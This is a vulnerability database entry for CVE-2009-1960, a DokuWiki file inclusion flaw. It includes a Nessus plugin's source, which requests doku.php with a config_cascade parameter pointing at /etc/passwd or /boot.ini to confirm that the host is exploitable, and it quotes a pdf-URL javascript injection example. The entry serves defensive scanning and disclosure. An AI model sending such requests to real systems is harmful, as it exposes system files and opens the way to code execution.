Vulnerabilities > CVE-2009-1960 - Code Injection vulnerability in Dokuwiki 20090214/Rc20090130/Rc20090206

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
dokuwiki
CWE-94
nessus
exploit available

Summary

inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.

Vulnerable Configurations

Part Description Count
Application
Dokuwiki
3

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

  • descriptionDokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit. CVE-2009-1960. Webapps exploit for php platform
    fileexploits/php/webapps/8812.txt
    idEDB-ID:8812
    last seen2016-02-01
    modified2009-05-26
    platformphp
    port
    published2009-05-26
    reporterNine:Situations:Group
    sourcehttps://www.exploit-db.com/download/8812/
    titleDokuwiki 2009-02-14 - Remote/Temporary File Inclusion Exploit
    typewebapps
  • descriptionDokuwiki 2009-02-14 Local File Inclusion Vulnerability. CVE-2009-1960. Webapps exploit for php platform
    fileexploits/php/webapps/8781.txt
    idEDB-ID:8781
    last seen2016-02-01
    modified2009-05-26
    platformphp
    port
    published2009-05-26
    reportergirex
    sourcehttps://www.exploit-db.com/download/8781/
    titleDokuwiki 2009-02-14 - Local File Inclusion Vulnerability
    typewebapps

Nessus

  • NASL familyCGI abuses
    NASL idDOKUWIKI_CONFIG_CASCADE_RFI.NASL
    descriptionThe remote installation of DokuWiki fails to sanitize user input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id38926
    published2009-05-27
    reporterThis script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/38926
    titleDokuWiki config_cascade Parameter Remote File Inclusion
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(38926);
      script_version("1.13");
     script_cvs_date("Date: 2018/06/13 18:56:26");
    
      script_cve_id("CVE-2009-1960");
      script_bugtraq_id(35095);
      script_xref(name:"EDB-ID", value:"8781");
      script_xref(name:"EDB-ID", value:"8821");
      script_xref(name:"Secunia", value:"35218");
    
      script_name(english:"DokuWiki config_cascade Parameter Remote File Inclusion");
      script_summary(english:"Attempts to read a local file");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains PHP script that is affected by a remote
    file include vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote installation of DokuWiki fails to sanitize user input to the
    'config_cascade' parameter array before using it in 'inc/init.php' to
    include PHP code.  Provided PHP's 'register_globals' setting is enabled,
    an attacker can leverage this flaw to view files on the local host or to
    execute arbitrary PHP code, possibly taken from third-party hosts.");
      script_set_attribute(attribute:"see_also", value:"http://bugs.splitbrain.org/index.php?do=details&task_id=1700");
      script_set_attribute(attribute:"solution", value:
    "Either disable PHP's 'register_globals' setting or upgrade to
    DokuWiki 2009-02-14b or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
      script_cwe_id(94);
    
      script_set_attribute(attribute:"plugin_publication_date", value:"2009/05/27");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("dokuwiki_detect.nasl", "os_fingerprint.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/dokuwiki");
      exit(0);
    }
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, embedded: 0);
    if (!can_host_php(port:port)) exit(0);
    
    
    # Test an install
    os = get_kb_item("Host/OS");
    if (os)
    {
      if("Windows" >< os) file = '/boot.ini';
      else file = '/etc/passwd';
      files = make_list(file);
    }
    else files = make_list('/etc/passwd', '/boot.ini');
    
    file_pats = make_array();
    file_pats['/etc/passwd'] = "root:.*:0:[01]:";
    file_pats['/boot.ini'] = "^ *\[boot loader\]";
    
    install = get_kb_item(string("www/", port, "/dokuwiki"));
    if (isnull(install)) exit(0);
    matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
    if (!isnull(matches))
    {
      dir = matches[2];
    
      # Loop through files to look for.
      foreach file (files)
      {
        url = string(
          dir, "/doku.php?",
          "config_cascade[main][default][]=",
          file
        );
    
        #Try to exploit the issue
        res = http_send_recv3(port:port, method:"GET", item:url);
        if (isnull(res)) exit(0);
    
        # There's a problem if we see the expected contents.
        body = res[2];
        file_pat = file_pats[file];
        if (egrep(pattern:file_pat, string:body))
        {
          if (report_verbosity > 0)
          {
            if (os && "Windows" >< os) file = str_replace(find:'/', replace:'\\', string:file);
    
            report = string(
              "\n",
              "Nessus was able to exploit the issue to retrieve the contents of\n",
              "'", file, "' on the remote host using the following URL :\n",
              "\n",
              "  ", build_url(port:port, qs:url), "\n"
            );
            if (report_verbosity > 1)
            {
              contents = body;
              if ("  <!DOCTYPE" >< contents) contents = contents - strstr(body, "  <!DOCTYPE");
              contents = data_protection::redact_etc_passwd(output:contents);
              report += string(
                "\n",
                "Here are its contents :\n",
                "\n",
                crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
                contents,
                crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
              );
            }
            security_warning(port:port, extra:report);
          }
          else security_warning(port:port);
    
          exit(0);
        }
      }
    }
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_4F838B7450A111DEB01F001C2514716C.NASL
    descriptionDokuWiki reports : A security hole was discovered which allows an attacker to include arbitrary files located on the attacked DokuWiki installation. The included file is executed in the PHP context. This can be escalated by introducing malicious code through uploading file via the media manager or placing PHP code in editable pages.
    last seen2020-06-01
    modified2020-06-02
    plugin id39315
    published2009-06-05
    reporterThis script is Copyright (C) 2009-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/39315
    titleFreeBSD : dokuwiki -- Local File Inclusion with register_globals on (4f838b74-50a1-11de-b01f-001c2514716c)
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-200908-09.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-200908-09 (DokuWiki: Local file inclusion) girex reported that data from the
    last seen2020-06-01
    modified2020-06-02
    plugin id40634
    published2009-08-20
    reporterThis script is Copyright (C) 2009-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/40634
    titleGLSA-200908-09 : DokuWiki: Local file inclusion